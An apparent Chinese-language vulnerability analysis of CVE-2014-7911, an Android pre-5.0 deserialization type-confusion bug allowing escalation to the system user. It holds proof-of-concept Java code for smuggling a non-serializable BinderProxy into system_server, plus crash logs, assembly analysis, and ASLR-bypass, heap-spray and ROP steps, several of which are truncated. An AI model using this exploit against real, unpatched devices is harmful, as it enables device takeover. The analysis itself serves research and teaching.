0x00 简介
CVE-2014-7911是安卓上序列化的提权漏洞,该漏洞允许恶意应用从普通应用权限提权到system用户执行命令。漏洞的成因源于在安卓系统(<5.0)中,java.io.ObjectInputStream并未校验输入的java对象是否是实际可序列化的。攻击者因此可以构建一个不可序列化的java对象实例,恶意构建其成员变量,当该对象实例被ObjectInputStream反序列化时,将发生类型混淆,对象的Field被视为由本地代码处理的指针,使攻击者获得控制权
0x01 漏洞分析
向system_server传入的不可序列化的android.os.BinderProxy对象实例,其成员变量在反序列化时发生类型混淆,由于BinderProxy的finalize方法包含native代码,于是在本地代码执行时将成员变量强制转换为指针,注意到成员变量是攻击者可控的,也就意味着攻击者可以控制该指针,使其指向攻击者可控的地址空间,最终获得在system_server(uid=1000)中执行代码的权限。
下面主要结合POC对漏洞进行详细分析。
构建可序列化对象
1
2
3
4
5public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
private int mObject = 0x1337beef;
private int mOrgue = 0x1337beef;
}mOrgue和mObject的类型参照源码(frameworks/base/core/java/android/os/Binder.java)
1
2
3
Bundle bundle = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
bundle.putSerializable("eatthis", evilProxy);
AAdroid.os.BinderProxy是可序列化的,其成员变量mOrgue就是随后用于改变程序执行流程的指针。随后该可序列化的AAdroid.os.BinderProxy将在传入system_server之间修改为不可序列化的Android.os.BinderProxy对象
准备传入system_server的数据
通过一系列java的反射机制,获得android.os.IUserManager.Stub和andrioid.os.IUserManager.Stub.Proxy的Class对象,最终获得跨进程调用system_server的IBinder接口mRemote,以及调用UserManager.setApplicationRestriction函数的TRANSACTION_setApplicationRestriction,为与system_server的跨进程Binder通信作准备
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24Class stubClass = null;
for (Class inner : Class.forName("android.os.IUserManager").getDeclaredClasses()) {
if (inner.getCanonicalName().equals("android.os.IUserManager.Stub")) {
stubClass = inner;
}
}
Field TRANSACTION_setApplicationRestrictionsField = stubClass.getDeclaredField("TRANSACTION_setApplicationRestrictions");
TRANSACTION_setApplicationRestrictionsField.setAccessible(true);
TRANSACTION_setApplicationRestrictions = TRANSACTION_setApplicationRestrictionsField.getInt(null);
Class proxyClass = null;
for (Class inner : stubClass.getDeclaredClasses()) {
if (inner.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
proxyClass = inner;
}
}
UserManager userManager = (UserManager) context.getSystemService(Context.USER_SERVICE);
Field mServiceField = UserManager.class.getDeclaredField("mService");
mServiceField.setAccessible(true);
Object mService = mServiceField.get(userManager);
Field mRemoteField = proxyClass.getDeclaredField("mRemote");
mRemoteField.setAccessible(true);
mRemote = (IBinder) mRemoteField.get(mService);
UserHandle userHandle = android.os.Process.myUserHandle();
setApplicationRestrictions(context.getPackageName(), bundle, userHandle.hashCode());system_server进程拥有system权限,通过将对象传递给system_server,利用一些技巧达到提权到system的目的。
- 传入不可序列化对象
调用setApplicationRestrictions这个函数,传入之前打包evilproxy的Bundle数据作为参数。将该函数与Android源码中的setApplicationRestrication函数对比,主要的区别在于将传入的Bundle数据进行了修改,将之前可序列化的AAdroid.os.BinderProxy对象修改为了不可序列化的Android.os.BinderProxy对象,这样就将不可序列化的Bundles数据,通过Binder跨进程调用,传入system_server的Android.os.UserManager.setApplicationRestrictions方法
1 | private void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int userHandle) throws android.os.RemoteException { |
安装POC后,启动Activity后将其最小化,触发GC,引起Android系统重启,从Logcat日志中可以看到,system_server执行到了之前设置的BinderProxy对象的0x1337beef这个值,访问了不该访问的内存,导致异常。错误信号、寄存器快照和调用栈如下:
1 | 05-14 18:30:55.974: I/DEBUG(3695): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys' |
0x02 crash分析
假如BinderProxy可以被序列化,那么在反序列化时,其field引用的对象也会被反序列化;但在POC中ObjectInputStream反序列化的BinderProxy对象实例不可序列化,这样在ObjectInputStream反序列化BinderProxy对象时,发生了类型混淆(type confusion),其field被当做随后由Native代码处理的指针。这个filed就是之前设置的0x1337beef,具体而言,就是mOrgue这个变量。
android.os.BinderProxy的finalize方法调用native代码,将mOrgue处理为指针:
1 | @Override |
其中,destroy为native方法:
1 | private native final void destroy(); |
cpp代码:
1 | static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj) |
最终native代码调用上述decStrong方法,从
1 | DeathRecipientList* drl = (DeathRecipientList*) |
这一行可以看出,drl就是mOrgue,可以被攻击者控制。 所以,drl->decStrong方法调用使用的this指针可由攻击者控制。
再看一下RefBase类中的decStrong方法
1 | void RefBase::decStrong(const void* id) const |
注意上述refs->mBase->onLastStrongRef(id)最终导致代码执行。上面提到我们传入的mOrgue的值,即是drl->decStrong方法所在类DeathRecipientList的this指针。
0x03 汇编分析
将libutils.so拖入IDA Pro,查看Android::RefBase::decStrong函数。分析时需要牢记的是,攻击者能够控制r0(this指针):
首先对r0的使用,是在decStrong的前下面三行代码之中:
1 | weakref_impl* const refs = mRefs; |
对应的汇编代码如下:
1 | ldr r4, [r0, #4] # r0为this指针,r4为mRefs |
首先,mRefs被加载到r4。(r0是drl的this指针,mRefs是虚函数表之后的第一个私有变量,因此mRefs为r0+4所指向的内容)然后,android_atomic_dec函数被调用,传入参数&refs->mStrong。
1 | const int32_t c = android_atomic_dec(&refs->mStrong); |
这被翻译为:
1 | mov r0, r4 # r4指向mStrong,r0指向mStrong |
作为函数参数,上述r0就是&refs->mStrong。注意,mStrong是refs(类weakref_impl)的第一个成员变量,由于weakref_impl没有虚函数,所以没有虚函数表,因此mStrong就是r4所指向的内容。
另外,refs->removeStrongRef(id);这一行并没有出现在汇编代码中,因为这个函数为空实现,编译器进行了优化。如下所示:
1 | void removeStrongRef(const void* /*id*/) { } |
在调用android_atomic_dec后,出现的是以下代码:
1 | if (c == 1) { |
对应的汇编代码
1 | cmp r0, #1 # r0 = refs->mStrong |
注意,android_atomic_dec函数执行强引用计数减1,返回的是执行减1操作之前所指定的内存地址存放的值。为了调用refs->mBase->onLastStrongRef(id)(即:blx r2),攻击者需要使refs->mStrong为1。
至此,可以看出攻击者为了实现代码执行,需要满足如下约束条件:
- drl(就是mOrgue,第一个可控的指针,在进入decStrong函数时的r0)必须指向可读的内存区域;
- refs->mStrong必须为1;
- refs->mBase->onLastStrongRef(id)需要执行成功。并最终指向可执行的内存区域。即满足:
1 | if(*(*(mOrgue+4)) == 1) { |
除此以外,攻击者还必须克服Android中的漏洞缓解技术——ASLR和DEP。
0x04 漏洞利用
1.绕过ASLR
Android有做地址空间随机化ASLR,但是所有的app都是fork自zygote进程,基础模块的内存布局全部是相同的,也就是说我们可以简单的绕过system_server的ASLR。
shell@hammerhead:/ # cat /proc/10156/maps | grep dalvik-heap
4273c000-616da000 rw-p 00000000 00:04 32910 /dev/ashmem/dalvik-heap (deleted)
shell@hammerhead:/ # cat /proc/18446/maps | grep dalvik-heap
4273c000-616da000 rw-p 00000000 00:04 32910 /dev/ashmem/dalvik-heap (deleted)
2. 堆喷射
system_server进程向android设备提供绝大部分的系统服务,通过这些服务的一些特定方法我们可以向system_server传输一个String,同时system_server把这个String存储在Dalvik-heap中不被销毁(因为我们需要使用注入代码段对这片内存区域进行填充
3. 栈翻转和rop
1 | /* |
其中ROP构造如下:
1 | /* |